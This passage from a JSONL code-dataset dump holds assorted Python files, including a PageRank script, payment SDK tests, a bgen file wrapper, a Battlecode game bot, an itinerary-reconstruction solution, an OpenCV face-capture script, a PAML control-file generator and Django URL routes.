leader_score):\r\n\t\t\tleader_index = i\r\n\t\t\tleader_score = Page_Rank_Value[i]\r\n\t\r\n\tprint(\"Leader is \" + str(leader_index) + \" and leader's score is \" + str(leader_score))\r\n\r\nif __name__ == \"__main__\":\r\n\tinput_graph_file = \"pagerank.txt\"\r\n\tleader(input_graph_file)\r\n","sub_path":"Assignment_2_2015csb1022_2015csb1025_2016med1004.py","file_name":"Assignment_2_2015csb1022_2015csb1025_2016med1004.py","file_ext":"py","file_size_in_byte":1992,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"612200489","text":"# coding: utf-8\n\nimport numpy as np\n\n\ndef demo_matrices(h, w):\n \"\"\" This generator returns a set of matrices for the quantization demo.\n Each element is between 0 and 1.\n \"\"\"\n zeros = np.zeros((h, w), dtype=np.float32)\n\n # the first one is just the upper left square. Size 1/4 of the input image\n matrix = np.copy(zeros)\n qh, qw = h//2, w//2\n matrix[0: qw, 0: qh] = [[1.0] * qw] * qh\n yield '1/4 square', matrix\n\n # # the first row and first column\n # matrix = np.copy(zeros)\n # matrix[0:w, 0:1] = [[1.0]] * w\n # matrix[0] = [1.0] * w\n # yield 'first row and columns', matrix\n #\n # # 1,0 and 0,1\n # matrix = np.copy(zeros)\n # matrix[0][1] = 1.0\n # matrix[1][0] = 1.0\n # yield '1/0 and 0/1', matrix\n\n # the second one is the upper left square: size 1/9 of the input image\n matrix = matrix = np.copy(zeros)\n qh, qw = h//3, w//3\n matrix[0: qw, 0: qh] = [[1.0] * qw] * qh\n yield '1/9 square', matrix\n\n # next is the upper left square: size 1/16 of the input image\n matrix = matrix = np.copy(zeros)\n qh, qw = h//4, w//4\n matrix[0: qw, 0: qh] = [[1.0] * qw] * qh\n yield '1/16 square', matrix\n\n # next is the upper left triangle: size 1/8 of the input image\n matrix = matrix = np.copy(zeros)\n qh, qw = h//2, w//2\n for i in range(qh):\n matrix[i, 0:qw-i] = [1.0] * (qw-i)\n yield '1/8 triangular', matrix\n\n # next is the upper left triangle: size 1/8 of the input image\n # plus 1/2 at a quater bitrate.\n matrix = matrix = np.copy(zeros)\n for i in range(h):\n matrix[i, 0:w-i] = [0.25] * (w-i)\n qh, qw = h//2, w//2\n for i in range(qh):\n matrix[i, 0:qw-i] = [1.0] * (qw-i)\n yield '1/8 + 1/2 triangular', matrix\n\n # and the full matrix for reference\n yield 'full', np.ones((h, w), dtype=np.float32)\n\n raise StopIteration\n\n","sub_path":"mmcodecs/quantizers.py","file_name":"quantizers.py","file_ext":"py","file_size_in_byte":1868,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"132034969","text":"#Copyright (c) 2011-2012 Litle & Co.\n#\n#Permission is hereby granted, free of charge, to any person\n#obtaining a copy of this software and associated documentation\n#files (the \"Software\"), to deal in the Software without\n#restriction, including without limitation the rights to use,\n#copy, modify, merge, publish, distribute, sublicense, and/or sell\n#copies of the Software, and to permit persons to whom the\n#Software is furnished to do so, subject to the following\n#conditions:\n#\n#The above copyright notice and this permission notice shall be\n#included in all copies or substantial portions of the Software.\n#\n#THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,\n#EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES\n#OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND\n#NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT\n#HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,\n#WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING\n#FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR\n#OTHER DEALINGS IN THE SOFTWARE.\n\nimport os, sys\nlib_path = os.path.abspath('../all')\nsys.path.append(lib_path)\n\nfrom SetupTest import *\nimport unittest\n\nclass TestAuth(unittest.TestCase):\n \n def testSimpleAuthWithCard(self):\n authorization = litleXmlFields.authorization()\n authorization.orderId = '1234'\n authorization.amount = 106\n authorization.orderSource = 'ecommerce'\n \n card = litleXmlFields.cardType()\n card.number = \"4100000000000000\"\n card.expDate = \"1210\"\n card.type = 'VI'\n \n authorization.card = card\n \n litleXml = litleOnlineRequest(config)\n response = litleXml.sendRequest(authorization)\n \n self.assertEquals(\"000\",response.response)\n\n\n def testSimpleAuthWithPaypal(self):\n authorization = litleXmlFields.authorization()\n authorization.orderId = '12344'\n authorization.amount = 106\n authorization.orderSource = 'ecommerce'\n \n paypal = litleXmlFields.payPal()\n paypal.payerId = \"1234\"\n paypal.token = \"1234\"\n paypal.transactionId = '123456'\n \n \n authorization.paypal = paypal\n \n litleXml = litleOnlineRequest(config)\n response = litleXml.sendRequest(authorization)\n \n self.assertEquals(\"Approved\",response.message)\n \n\n def testPosWithoutCapabilityAndEntryMode(self):\n authorization = litleXmlFields.authorization()\n authorization.orderId = '123456'\n authorization.amount = 106\n authorization.orderSource = 'ecommerce'\n \n pos = litleXmlFields.pos()\n pos.cardholderId = \"pin\"\n authorization.pos = pos\n \n card = litleXmlFields.cardType()\n card.number = \"4100000000000002\"\n card.expDate = \"1210\"\n card.type = 'VI'\n card.cardValidationNum = '1213'\n \n authorization.card = card\n \n litle = litleOnlineRequest(config)\n with self.assertRaises(Exception):\n litle.sendRequest(authorization)\n\n def testAccountUpdate(self):\n authorization = litleXmlFields.authorization()\n authorization.orderId = '12344'\n authorization.amount = 106\n authorization.orderSource = 'ecommerce'\n \n card = litleXmlFields.cardType()\n card.number = \"4100100000000000\"\n card.expDate = \"1210\"\n card.type = 'VI'\n card.cardValidationNum = '1213'\n \n authorization.card = card\n \n \n litleXml = litleOnlineRequest(config)\n response = litleXml.sendRequest(authorization)\n \n self.assertEquals(\"4100100000000000\",response.accountUpdater.originalCardInfo.number)\n \ndef suite():\n suite = unittest.TestSuite()\n suite = unittest.TestLoader().loadTestsFromTestCase(TestAuth)\n return suite\n\nif __name__ =='__main__':\n unittest.main()","sub_path":"litleSdkPythonTest/functional/TestAuth.py","file_name":"TestAuth.py","file_ext":"py","file_size_in_byte":3947,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"653160671","text":"from __future__ import annotations\n\nfrom pathlib import Path\nfrom typing import Union\n\nfrom numpy import empty, uint16, uint32, uint64, zeros\n\nfrom ._ffi import ffi, lib\nfrom ._typing import CData, Partition, Variants\n\n__all__ = [\"bgen_metafile\"]\n\n\nclass bgen_metafile:\n def __init__(self, filepath: Union[str, Path]):\n self._filepath = Path(filepath)\n self._bgen_metafile: CData = ffi.NULL\n self._bgen_metafile = lib.bgen_metafile_open(bytes(self._filepath))\n if self._bgen_metafile == ffi.NULL:\n raise RuntimeError(f\"Failed to open {filepath}.\")\n\n @property\n def filepath(self) -> Path:\n return self._filepath\n\n @property\n def npartitions(self) -> int:\n return lib.bgen_metafile_npartitions(self._bgen_metafile)\n\n @property\n def nvariants(self) -> int:\n return lib.bgen_metafile_nvariants(self._bgen_metafile)\n\n @property\n def partition_size(self) -> int:\n return ceildiv(self.nvariants, self.npartitions)\n\n def read_partition(self, index: int) -> Partition:\n partition = lib.bgen_metafile_read_partition(self._bgen_metafile, index)\n if partition == ffi.NULL:\n raise RuntimeError(f\"Could not read partition {partition}.\")\n\n nvariants = lib.bgen_partition_nvariants(partition)\n\n position = empty(nvariants, dtype=uint32)\n nalleles = empty(nvariants, dtype=uint16)\n var_offset = empty(nvariants, dtype=uint64)\n vid_max_len = ffi.new(\"uint32_t[]\", 1)\n rsid_max_len = ffi.new(\"uint32_t[]\", 1)\n chrom_max_len = ffi.new(\"uint32_t[]\", 1)\n allele_ids_max_len = ffi.new(\"uint32_t[]\", 1)\n\n position_ptr = ffi.cast(\"uint32_t *\", ffi.from_buffer(position))\n nalleles_ptr = ffi.cast(\"uint16_t *\", ffi.from_buffer(nalleles))\n offset_ptr = ffi.cast(\"uint64_t *\", ffi.from_buffer(var_offset))\n lib.read_partition_part1(\n partition,\n position_ptr,\n nalleles_ptr,\n offset_ptr,\n vid_max_len,\n rsid_max_len,\n chrom_max_len,\n allele_ids_max_len,\n )\n\n vid = zeros(nvariants, dtype=f\"S{vid_max_len[0]}\")\n rsid = zeros(nvariants, dtype=f\"S{rsid_max_len[0]}\")\n chrom = zeros(nvariants, dtype=f\"S{chrom_max_len[0]}\")\n allele_ids = zeros(nvariants, dtype=f\"S{allele_ids_max_len[0]}\")\n\n lib.read_partition_part2(\n partition,\n ffi.from_buffer(\"char[]\", vid),\n vid_max_len[0],\n ffi.from_buffer(\"char[]\", rsid),\n rsid_max_len[0],\n ffi.from_buffer(\"char[]\", chrom),\n chrom_max_len[0],\n ffi.from_buffer(\"char[]\", allele_ids),\n allele_ids_max_len[0],\n )\n lib.bgen_partition_destroy(partition)\n\n part_offset = self.partition_size * index\n v = Variants(vid, rsid, chrom, position, nalleles, allele_ids, var_offset)\n return Partition(part_offset, v)\n\n def close(self):\n if self._bgen_metafile != ffi.NULL:\n lib.bgen_metafile_close(self._bgen_metafile)\n\n def __enter__(self) -> bgen_metafile:\n return self\n\n def __exit__(self, *_):\n self.close()\n\n\ndef ceildiv(a, b) -> int:\n return -(-a // b)\n","sub_path":"cbgen/_bgen_metafile.py","file_name":"_bgen_metafile.py","file_ext":"py","file_size_in_byte":3271,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"112591978","text":"import battlecode as bc\nimport behaviour_tree as bt\nimport random\nimport units\nimport math\nimport astar\n\n\nclass Ranger(units.Unit):\n \"\"\"The container for the ranger unit.\"\"\"\n def __init__(self, unit, gc, maps):\n super().__init__(unit, gc)\n self._targeted_enemy = None\n self._targeted_location = None\n self._path_to_follow = None\n self._maps = maps\n\n def generate_tree(self):\n \"\"\"Generates the tree for the ranger.\"\"\"\n tree = bt.FallBack()\n\n # Attack or chase/run from enemies\n enemy_handling = bt.Sequence()\n enemy_visible = self.EnemyVisible(self)\n enemy_handling.add_child(enemy_visible)\n\n enemy_fallback = bt.FallBack()\n enemy_in_range = bt.Sequence()\n enemy_in_attack_range = self.EnemyInAttackRange(self)\n enemy_in_range.add_child(enemy_in_attack_range)\n attack = self.Attack(self)\n enemy_in_range.add_child(attack)\n\n enemy_close = bt.Sequence()\n enemy_too_close = self.EnemyTooClose(self)\n enemy_close.add_child(enemy_too_close)\n move_away = self.MoveAway(self)\n enemy_close.add_child(move_away)\n enemy_close.add_child(enemy_in_range)\n enemy_fallback.add_child(enemy_close)\n\n enemy_far = bt.Sequence()\n enemy_too_far = self.EnemyTooFar(self)\n enemy_far.add_child(enemy_too_far)\n move_towards = self.MoveTowards(self)\n enemy_far.add_child(move_towards)\n enemy_far.add_child(enemy_in_range)\n enemy_fallback.add_child(enemy_far)\n\n enemy_fallback.add_child(enemy_in_range)\n enemy_handling.add_child(enemy_fallback)\n tree.add_child(enemy_handling)\n\n move_fallback = bt.FallBack()\n move_sequence = bt.Sequence()\n move_sequence.add_child(self.FindClosestEnemy(self))\n move_sequence.add_child(self.CreatePath(self))\n move_sequence.add_child(self.MoveOnPath(self))\n move_fallback.add_child(move_sequence)\n move_fallback.add_child(self.MoveRandomly(self))\n tree.add_child(move_fallback)\n\n return tree\n\n ##################\n # ENEMY HANDLING #\n ##################\n\n class EnemyVisible(bt.Condition):\n \"\"\"Check if there is an enemy in range of the ranger.\"\"\"\n def __init__(self, outer):\n super().__init__()\n self.__outer = outer\n\n def condition(self):\n ranger = self.__outer.unit()\n range = ranger.vision_range\n location = ranger.location.map_location()\n team = ranger.team\n enemy_team = bc.Team.Red if team == bc.Team.Blue else bc.Team.Blue\n\n nearby_units = self.__outer._gc.sense_nearby_units_by_team(location, range, enemy_team)\n\n # No enemy visible\n if not nearby_units:\n return False\n\n # Look for the enemy closest to the ranger with lowest health\n best_enemy = nearby_units[0]\n best_enemy_distance = location.distance_squared_to(best_enemy.location.map_location())\n for unit in nearby_units:\n enemy_distance = location.distance_squared_to(unit.location.map_location())\n if enemy_distance < best_enemy_distance:\n best_enemy = unit\n best_enemy_distance = enemy_distance\n elif enemy_distance == best_enemy_distance:\n if unit.health < best_enemy.health:\n best_enemy = unit\n best_enemy_distance = enemy_distance\n\n self.__outer._targeted_enemy = best_enemy.id\n return True\n\n class EnemyInAttackRange(bt.Condition):\n \"\"\"Check if the enemy is in attack range of the ranger.\"\"\"\n def __init__(self, outer):\n super().__init__()\n self.__outer = outer\n\n def condition(self):\n ranger = self.__outer.unit()\n enemy = self.__outer.get_enemy_unit(self.__outer._targeted_enemy)\n\n enemy_distance = ranger.location.map_location().distance_squared_to(enemy.location.map_location())\n\n return enemy_distance > ranger.ranger_cannot_attack_range() and enemy_distance <= ranger.attack_range()\n\n class Attack(bt.Action):\n \"\"\"Attacks the enemy targeted by the ranger.\"\"\"\n def __init__(self, outer):\n super().__init__()\n self.__outer = outer\n\n def action(self):\n enemy = self.__outer.get_enemy_unit(self.__outer._targeted_enemy)\n ranger = self.__outer.unit()\n enemies_map = self.__outer._maps['enemy_units_map']\n\n if not enemy:\n self._status = bt.Status.FAIL\n else:\n if self.__outer._gc.is_attack_ready(ranger.id) and self.__outer._gc.can_attack(ranger.id, enemy.id):\n self.__outer._gc.attack(ranger.id, enemy.id)\n self._status = bt.Status.SUCCESS\n # Remove enemy from enemy_units_map if it died\n location = ranger.location.map_location()\n enemy_team = bc.Team.Red if ranger.team == bc.Team.Blue else bc.Team.Blue\n killed_enemy = True\n nearby_units = self.__outer._gc.sense_nearby_units_by_team(location, ranger.attack_range(), enemy_team)\n for nearby_unit in nearby_units:\n if nearby_unit.id == enemy.id:\n killed_enemy = False\n break\n if killed_enemy:\n enemy_location = enemy.location.map_location()\n enemies_map[enemy_location.x][enemy_location.y] = None\n else:\n self._status = bt.Status.RUNNING\n\n class EnemyTooClose(bt.Condition):\n \"\"\"Check if the enemy is too close to the ranger.\"\"\"\n def __init__(self, outer):\n super().__init__()\n self.__outer = outer\n\n def condition(self):\n ranger = self.__outer.unit()\n enemy = self.__outer.get_enemy_unit(self.__outer._targeted_enemy)\n\n enemy_distance = ranger.location.map_location().distance_squared_to(enemy.location.map_location())\n\n return enemy_distance <= (ranger.attack_range() / 2)\n\n class MoveAway(bt.Action):\n \"\"\"Moves away from the enemy.\"\"\"\n def __init__(self, outer):\n super().__init__()\n self.__outer = outer\n\n def action(self):\n enemy = self.__outer.get_enemy_unit(self.__outer._targeted_enemy)\n ranger = self.__outer.unit()\n\n if not enemy:\n self._status = bt.Status.FAIL\n else:\n enemy_direction = ranger.location.map_location().direction_to(enemy.location.map_location())\n opposite_direction_position = ranger.location.map_location().subtract(enemy_direction)\n opposite_direction = ranger.location.map_location().direction_to(opposite_direction_position)\n if self.__outer._gc.is_move_ready(ranger.id) and self.__outer._gc.can_move(ranger.id, opposite_direction):\n self.__outer._gc.move_robot(ranger.id, opposite_direction)\n self._status = bt.Status.SUCCESS\n else:\n self._status = bt.Status.FAIL\n\n class EnemyTooFar(bt.Condition):\n \"\"\"Check if the enemy is too far from the ranger.\"\"\"\n def __init__(self, outer):\n super().__init__()\n self.__outer = outer\n\n def condition(self):\n ranger = self.__outer.unit()\n enemy = self.__outer.get_enemy_unit(self.__outer._targeted_enemy)\n\n enemy_distance = ranger.location.map_location().distance_squared_to(enemy.location.map_location())\n\n return enemy_distance > ranger.attack_range()\n\n class MoveTowards(bt.Action):\n \"\"\"Moves towards the enemy.\"\"\"\n def __init__(self, outer):\n super().__init__()\n self.__outer = outer\n\n def action(self):\n enemy = self.__outer.get_enemy_unit(self.__outer._targeted_enemy)\n ranger = self.__outer.unit()\n\n if not enemy:\n self._status = bt.Status.FAIL\n else:\n enemy_direction = ranger.location.map_location().direction_to(enemy.location.map_location())\n if self.__outer._gc.is_move_ready(ranger.id) and self.__outer._gc.can_move(ranger.id, enemy_direction):\n self.__outer._gc.move_robot(ranger.id, enemy_direction)\n self._status = bt.Status.SUCCESS\n else:\n self._status = bt.Status.FAIL\n\n class FindClosestEnemy(bt.Action):\n def __init__(self, outer):\n super().__init__()\n self.__outer = outer\n\n def action(self):\n ranger = self.__outer.unit()\n ranger_location = ranger.location.map_location()\n enemies_map = self.__outer._maps['enemy_units_map']\n\n min_distance = math.inf\n closest_unit_location = None\n for x in range(len(enemies_map)):\n for y in range(len(enemies_map[0])):\n enemy = enemies_map[x][y]\n if enemy:\n current_distance = ranger_location.distance_squared_to(enemy.location.map_location())\n\n # check just in case enemy desingregated its unit or we failed to attack for any reason\n if current_distance < ranger.vision_range:\n continue\n if current_distance < min_distance:\n min_distance = current_distance\n closest_unit_location = enemy.location.map_location()\n\n if closest_unit_location:\n self.__outer._targeted_location = closest_unit_location\n self._status = bt.Status.SUCCESS\n else:\n self.__outer._targeted_location = None\n self._status = bt.Status.FAIL\n\n class CreatePath(bt.Action):\n \"\"\"Create the path to the closest injured friend.\"\"\"\n def __init__(self, outer):\n super().__init__()\n self.__outer = outer\n\n def action(self):\n location = self.__outer._targeted_location\n ranger = self.__outer.unit()\n terrain_map = self.__outer._maps['terrain_map']\n my_units_map = self.__outer._maps['my_units_map']\n path = astar.astar(terrain_map, my_units_map, ranger.location.map_location(), location, max_path_length=5)\n\n if len(path) > 0:\n path.pop(0) # Remove the point the unit is already on.\n self.__outer._path_to_follow = path\n self._status = bt.Status.SUCCESS\n else:\n self.__outer._path_to_follow = None\n self._status = bt.Status.FAIL\n\n class MoveOnPath(bt.Action):\n \"\"\"Move towards the closest known enemy position.\"\"\"\n def __init__(self, outer):\n super().__init__()\n self.__outer = outer\n\n def action(self):\n next_point = self.__outer._path_to_follow[0]\n ranger = self.__outer.unit()\n unit_map_location = ranger.location.map_location()\n move_direction = unit_map_location.direction_to(next_point)\n if self.__outer._gc.can_move(ranger.id, move_direction):\n self._status = bt.Status.RUNNING\n if self.__outer._gc.is_move_ready(ranger.id):\n self.__outer._gc.move_robot(ranger.id, move_direction)\n self.__outer._path_to_follow.pop(0)\n if len(self.__outer._path_to_follow) == 1:\n self.__outer._path_to_follow = None\n self._status = bt.Status.SUCCESS\n else:\n self.__outer._path_to_follow = None\n self._status = bt.Status.FAIL\n\n #################\n # MOVE RANDOMLY #\n #################\n\n class MoveRandomly(bt.Action):\n \"\"\"Move in some random direction.\"\"\"\n def __init__(self, outer):\n super().__init__()\n self.__outer = outer\n\n def action(self):\n random_dir = random.choice(list(bc.Direction))\n ranger = self.__outer.unit()\n if self.__outer._gc.is_move_ready(ranger.id) and self.__outer._gc.can_move(ranger.id, random_dir):\n self.__outer._gc.move_robot(ranger.id, random_dir)\n self._status = bt.Status.SUCCESS\n else:\n self._status = bt.Status.FAIL\n","sub_path":"Kamikaze/ranger.py","file_name":"ranger.py","file_ext":"py","file_size_in_byte":12738,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"241545984","text":"#!/usr/bin/env python\n# encoding: utf-8\n# @Time:2020/8/27 10:35\n# @Author:JiahangGu\n\nfrom typing import List\nfrom collections import defaultdict\n\n\nclass Solution:\n def findItinerary(self, tickets: List[List[str]]) -> List[str]:\n \"\"\"\n 由于至少存在一种合理的行程,所以只需要按照在每个节点选择字典序最小的站点,如果能到达解状态则是最小的解,如果不能\n 则继续回溯寻找解。\n 最终结束状态应该为len(ans)=len(tickets)+1\n 此外需要注意的点是记录path之后要删除对应边,防止进入深层递归二次查询。如果当前站点没有邻接点,可以提前结束,当前\n path不可能是解(进入了死胡同)。如果遍历完所有邻接点都没有找到解,那当前path也不可能是解,返回false。\n :param tickets:\n :return:\n \"\"\"\n # def _dfs(path, cur_pos, pos_dict, tickets_num):\n # if len(path) == tickets_num + 1:\n # return True\n # if len(pos_dict[cur_pos]) == 0:\n # return False\n # for i in range(len(pos_dict[cur_pos])):\n # cur_to = pos_dict[cur_pos].pop(i)\n # path.append(cur_to)\n # if _dfs(path, cur_to, pos_dict, tickets_num):\n # return True\n # path.pop()\n # pos_dict[cur_pos].insert(i, cur_to)\n # return False\n #\n # tickets_num = len(tickets)\n # pos_dict = defaultdict(list)\n # for f, t in tickets:\n # pos_dict[f].append(t)\n # for k, v in pos_dict.items():\n # v.sort()\n # path = [\"JFK\"]\n # _dfs(path, \"JFK\", pos_dict, tickets_num)\n # return path\n \"\"\"\n 欧拉图解法。已知存在解,则题目转换为找到机场图的一条欧拉路径。根据点的入度出度可知,如果相差1,则进入该点\n 后为死路,无法进入后续点。所以在死胡同时用栈记录该点即可得到行程顺序。而进入非死胡同的点,只需继续向深度递\n 归,直到死胡同记录点后回溯,即可得到行程的逆序。\n 所以递归策略为,如果当前点为死胡同,记录该点,回溯,如果当前点具有邻接点,递归。并且由于要按照最小的字典序输出结果\n 应该先对所有邻接点排序,每次访问完之后删除已访问的节点和边。\n \"\"\"\n def _dfs(cur_pos):\n while pos_dict[cur_pos]:\n pos = pos_dict[cur_pos].pop(0)\n _dfs(pos)\n path.append(cur_pos)\n\n pos_dict = defaultdict(list)\n for f, t in tickets:\n pos_dict[f].append(t)\n for k, v in pos_dict.items():\n v.sort()\n path = []\n _dfs(\"JFK\")\n return path[::-1]\n\n\nx = [[\"JFK\",\"SFO\"],[\"JFK\",\"ATL\"],[\"SFO\",\"ATL\"],[\"ATL\",\"JFK\"],[\"ATL\",\"SFO\"]]\ns = Solution()\nans = s.findItinerary(x)\nprint(ans)\nprint(len(ans))\nprint(len(x))\n","sub_path":"DFS+BFS/src/20-8-27-332-reconstruct-itinerary.py","file_name":"20-8-27-332-reconstruct-itinerary.py","file_ext":"py","file_size_in_byte":3046,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"3176378","text":"import prepare\nimport keras\nimport pickle\nimport numpy as np\n\nmxlen = 32\n\ntoken_file = open('tokenizer', 'rb')\nprepare.tokenizer = pickle.load(token_file)\n\ntrain_json = 'nlvr\\\\train\\\\train.json'\ntrain_img_folder = 'nlvr\\\\train\\\\images'\ntest_json = 'nlvr\\\\test\\\\test.json'\ntest_img_folder = 'nlvr\\\\test\\\\images'\n\ndata = prepare.load_data(train_json)\ndata = prepare.tokenize_data(data, mxlen)\nimgs, ws, labels = prepare.load_images(train_img_folder, data)\ndata.clear()\n\nmodel = keras.models.load_model('model')\n\n\ntest_data = prepare.load_data(test_json)\ntest_data = prepare.tokenize_data(test_data, mxlen)\ntest_imgs, test_ws, test_labels = prepare.load_images(test_img_folder, test_data)\ntest_data.clear()\n\nimgs_mean = np.mean(imgs)\nimgs_std = np.std(imgs - imgs_mean)\n\ntest_imgs = (test_imgs - imgs_mean) / imgs_std\n\nprint(model.evaluate([test_imgs, test_ws], test_labels, batch_size=128))","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":888,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"650213979","text":"import cv2\r\nimport numpy as np\r\n\r\ncap=cv2.VideoCapture(0)\r\nface_cascade = cv2.CascadeClassifier(\"haarcascade_frontalface_alt.xml\")\r\n\r\nskip=0\r\nface_data=[]\r\n\r\ndataset_path='./data/'\r\nfile_name=input(\"enter the name of person whose face we are scanning\")\r\n\r\n\r\nwhile True:\r\n\tret,frame =cap.read()\r\n\r\n\tif ret==False:\r\n\t\tcontinue\r\n\r\n\tgray_frame=cv2.cvtColor(frame,cv2.COLOR_BGR2GRAY)\r\n\tfaces=face_cascade.detectMultiScale(frame,1.3,5)\r\n\t#print(\"before\")\r\n\t#print(faces)\r\n\t#print(\"after\")\r\n\t# print(len(faces))\r\n\t# for i in (len(faces)):\r\n\t# \tprint(faces[i])\r\n\t# \tprint(\"in\")\r\n\t# print(\"out\")\r\n\r\n\tif len(faces)==0:\r\n\t\tcontinue\r\n\tfaces = sorted(faces,key=lambda f:f[2]*f[3])\r\n\r\n\r\n\t#sorting the faces in a frame.i.e to get larger face.\r\n\t#sorting will be done on the basis of area i.e product of width and height\r\n\t#face[2]*faces[3]\r\n\r\n\t#because last face is largest face.\r\n\tfor (x,y,w,h) in faces[-1:]:\r\n\t\t#print(\"in for\")\r\n\t\tcv2.rectangle(frame,(x,y),(x+w,y+h),(0,255,255),2)\r\n\r\n\t\t#Extract (Crp out the required face) : Region of interest\r\n\t\t#padding aound fcae in a extracted box of fcae\t\t\r\n\t\toffset=10# in pixels.\r\n\r\n\t\t#in frame by convention ->frame[Y,X]\r\n\t\tface_section= frame[y-offset:y+h+offset,x-offset:x+w+offset]\r\n\t\tface_section=cv2.resize(face_section,(100,100))# can be any size\r\n\t\t\r\n\t\tskip+=1\r\n\t\t#store every 10th face\r\n\t\tif skip%10 == 0:\r\n\t\t\tface_data.append(face_section)\r\n\t\t\tprint(len(face_data))\t\t\r\n\r\n\tcv2.imshow(\"frame\",frame)\r\n\tcv2.imshow(\"face_section\",face_section)\r\n\r\n\tkey_pressed=cv2.waitKey(1) & 0xFF\r\n\r\n\t#ord function tells ascii value of character\r\n\tif key_pressed == ord('q'):\r\n\t\tbreak\r\n\r\n#convert face list array into a numpy array\r\nface_data = np.asarray(face_data)\r\n#print(face_data)\r\nface_data=face_data.reshape((face_data.shape[0],-1))\r\n#print(\"now\")\r\n#print(face_data)\r\n\r\n#saving data into file system\r\nnp.save(dataset_path+file_name+'.npy',face_data)\r\nprint(\"data saved successfully\")\r\n\r\ncap.release()\r\ncv2.destroyAllWindows()","sub_path":"project1 realtime face recognition using knn/face_data_collect.py","file_name":"face_data_collect.py","file_ext":"py","file_size_in_byte":1954,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"528042739","text":"def CheckRange(r1, r2, n):\n if r1 <= n <= r2:\n print(f'{n} in range [{r1}, {r2}]')\n return\n else:\n print(f'{n} not in range [{r1}, {r2}]')\n return\n\nr1, r2 = input('Enter range: ').split()\nnum = int(input('Enter num: '))\nCheckRange(int(r1), int(r2), num)","sub_path":"Weeks/Week 2/TSIS6/6.py","file_name":"6.py","file_ext":"py","file_size_in_byte":287,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"242158344","text":"#!/usr/bin/python\n\n# Note\n# This script is used to remove the stop codon and the sequence contains letter \"Y\"\n# In the initial method, we just remove the sequence contains letter \"Y\"\n# This may be not the best option to handle it.\n# For the example of \"OG5327\", one seq contains letter \"Y\", so we remove it.\n# The script will be changed as a function.\n\nimport os\nimport argparse\n## part1\n#ef prepareControlFile(fast_input, tree_input, code_out, result_out, site_model):\n # for the test\n#fast_input = \"/Users/luho/Documents/PAML/data/Example2.pml\"\n#tree_input = \"/Users/luho/Documents/PAML/data/Example2.tree\"\n#site_model = \"/Users/luho/Documents/PAML/site_model/\"\n#result_out = \"/Users/luho/Documents/paml_result/Example2_out\"\n\ndef prepareSiteFile(fast_input,tree_input,site_model, result_out):\n model_type = os.listdir(site_model)\n model_type = [x for x in model_type if \"_\" not in x]\n for x in model_type:\n print(x)\n # test\n # x = \"M2a\"\n model_dir = site_model + x + \"/\" + \"codeml.ctl0\"\n model_inf = open(model_dir).readlines()\n model_inf[0] = \" seqfile = \" + fast_input + \"\\n\"\n model_inf[1] = \" treefile = \" + tree_input + \"\\n\"\n model_inf[2] = \" outfile = \" + result_out + \"_\" + x + \"\\n\"\n try:\n os.remove(site_model + x + \"/\" + \"codeml_test.ctl\") # remove the old files\n except: pass\n new_codefile = open(site_model + x + \"/\" + \"codeml_test.ctl\", \"w\")\n new_codefile.writelines(model_inf)\n new_codefile.close()\n\n# for the batch process\n# the code file is stored in the document file\ndef main():\n parser = argparse.ArgumentParser(\n formatter_class = argparse.RawDescriptionHelpFormatter,\n description = 'Prepare the control for the site model of PAML')\n #adding arguments\n parser.add_argument('-n', metavar = 'input_file', type = str, help = 'input the codon sequence file')\n parser.add_argument('-t', metavar = 'input_file', type = str, help = 'input the tree file')\n parser.add_argument('-c', metavar = 'output_file', type = str, help = 'output file to store code')\n parser.add_argument('-o', metavar='output_file', type=str, help='output file to store the result')\n\n args = parser.parse_args()\n cdsfile = args.n # store the cds in phy format\n treefile = args.t\n codefile = args.c # store the code\n resultfile = args.o # store the result\n prepareSiteFile(fast_input=cdsfile,tree_input=treefile,site_model=codefile, result_out=resultfile)\nif __name__ == \"__main__\":\n main()\n\n# an example\n# python C1_produce_control_file.py -n /Users/luho/Documents/PAML/data/Example2.pml -t /Users/luho/Documents/PAML/data/Example2.tree -c /Users/luho/Documents/PAML/site_model/ -o /Users/luho/Documents/paml_result/Example2_out\n","sub_path":"evolution_analysis/code/site_dn_ds_paml/others/C1_produce_control_file.py","file_name":"C1_produce_control_file.py","file_ext":"py","file_size_in_byte":2806,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"529565818","text":"# -*- coding: utf-8 -*-\n\n\nfrom django.conf.urls import (\n include,\n url)\n\nfrom availableworks.uprofile import views\n\nurlpatterns = [\n url(r'^(?P\\w+)/$',\n views.public_profile,\n name='public-profile-by-username'),\n\n url(r'^profile/(?P[0-9]+)/$',\n views.public_profile,\n name='public-profile-by-pk'),\n\n url(r'^profile/edit/(?P[0-9]+)/$',\n views.owner_profile,\n name='owner-profile-by-pk'),\n\n url(r'^avatar/update/',\n views.avatar_update,\n name='avatar-update'),\n\n url(r'^cover/update/',\n views.cover_update,\n name='cover-update')\n]","sub_path":"availableworks/uprofile/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":654,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"447884635","text":"# _*_ coding: utf-8 _*_\n__author__ = 